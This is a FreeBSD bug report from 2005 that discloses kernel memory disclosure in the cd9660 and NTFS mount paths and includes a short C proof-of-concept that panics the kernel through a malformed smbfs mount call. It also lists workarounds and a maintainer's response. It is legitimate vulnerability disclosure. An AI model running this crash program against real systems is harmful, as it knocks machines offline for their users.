From nobody@FreeBSD.org  Thu Oct  6 19:45:31 2005
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125])
	by hub.freebsd.org (Postfix) with ESMTP id 72E8C16A41F
	for <freebsd-gnats-submit@FreeBSD.org>; Thu,  6 Oct 2005 19:45:31 +0000 (GMT)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [216.136.204.117])
	by mx1.FreeBSD.org (Postfix) with ESMTP id 2715743D46
	for <freebsd-gnats-submit@FreeBSD.org>; Thu,  6 Oct 2005 19:45:31 +0000 (GMT)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.13.1/8.13.1) with ESMTP id j96JjUXg041211
	for <freebsd-gnats-submit@FreeBSD.org>; Thu, 6 Oct 2005 19:45:30 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.13.1/8.13.1/Submit) id j96JjUZq041210;
	Thu, 6 Oct 2005 19:45:30 GMT
	(envelope-from nobody)
Message-Id: <200510061945.j96JjUZq041210@www.freebsd.org>
Date: Thu, 6 Oct 2005 19:45:30 GMT
From: Alexander Drozdov <dzal_mail@mtu-net.ru>
To: freebsd-gnats-submit@FreeBSD.org
Subject: Reading kernel memory & pagefault under non-root
X-Send-Pr-Version: www-2.3

>Number:         87010
>Category:       kern
>Synopsis:       Reading kernel memory & pagefault under non-root
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    pjd
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Thu Oct 06 19:50:12 GMT 2005
>Closed-Date:    
>Last-Modified:  Sat Nov 26 21:26:22 GMT 2005
>Originator:     Alexander Drozdov
>Release:        5.4-RELEASE-p6
>Organization:
>Environment:
FreeBSD sorcerer.my.domain 5.4-RELEASE-p6 FreeBSD 5.4-RELEASE-p6 #9: Thu Jul 28 09:55:49 MSD 2005     sorcerer@sorcerer.my.domain:/usr/obj/usr/src/sys/MYKERNEL_3  i386
>Description:
2 problems:
1. It is possible to pass to kernel addresses that can not be located
   in user space. There are no write operations to these addresses but
   there are strcmp operations with some in-kernel buffers. It allows
   user to get some information about kernel memory.

   Look at /usr/src/sys/isofs/cd9660/cd9660_vfsops.c:478

   cd9660_iconv->open(argp->cs_local, argp->cs_disk, &isomp->im_d2l);
   cd9660_iconv->open(argp->cs_disk, argp->cs_local, &isomp->im_l2d);

   Variables argp->cs_local and argp->cs_disk are the pointers that
   user passed to the kernel through mount call. 'open' function
   (/usr/src/sys/libkern/iconv.c) just uses strcmp function to
   compare these pointers with the charset encodings.

   NTFS module (/usr/src/sys/fs/ntfs) has the same behaviour. But, for
   example, msdosfs has not: 'copyinstr' function has been called before
   using the same buffers.

   Workaround: disallow non-root users to mount filesystems (sysctl
   vfs.usermount=0) OR compile kernel without static cd9660 and ntfs
   modules and do not load these modules via kldload. I have no
   information about working this vulnerability in jail.

2. The result of the program below is kernel panic. I just passed a bad
   but existed file descriptor (0) to SMBFS module through mount call.

#include <sys/param.h>
#include <sys/mount.h>
#include <errno.h>

struct smbfs_args {
        int             version;
        int             dev;
        u_int           flags;
        char            mount_point[MAXPATHLEN];
        u_char          root_path[512+1];
        uid_t           uid;
        gid_t           gid;
        mode_t          file_mode;
        mode_t          dir_mode;
        int             caseopt;
};

int main(int argc, char *argv[])
{
    int ret;
    struct smbfs_args ia;

    memset(&ia,0xff,sizeof(ia));
    ia.version=101012;
    ia.dev=0;
    ret=mount("smbfs","tmp",MNT_RDONLY,&ia);

    if(!ret)
        printf("Ok!\n");
    else
        printf("result = %i, errno = %i, %s\n", ret, errno,
strerror(errno));
    return 0;
}

   Workaround: disallow non-root users to mount filesystems (sysctl
   vfs.usermount=0) OR compile kernel without static smbfs module
   and do not load this module via kldload. I have no information
   about working this vulnerability in jail.
>How-To-Repeat:
              
>Fix:

>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-bugs->pjd 
Responsible-Changed-By: pjd 
Responsible-Changed-When: Sun Oct 9 14:24:46 GMT 2005 
Responsible-Changed-Why:  
I'll look into this. 
Just to clarify: vfs.usermount is 0 by default and is not recommended to 
be turned on on systems with untrusted users. 
mount(2) syscall is not permitted inside jail. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=87010 
>Unformatted:
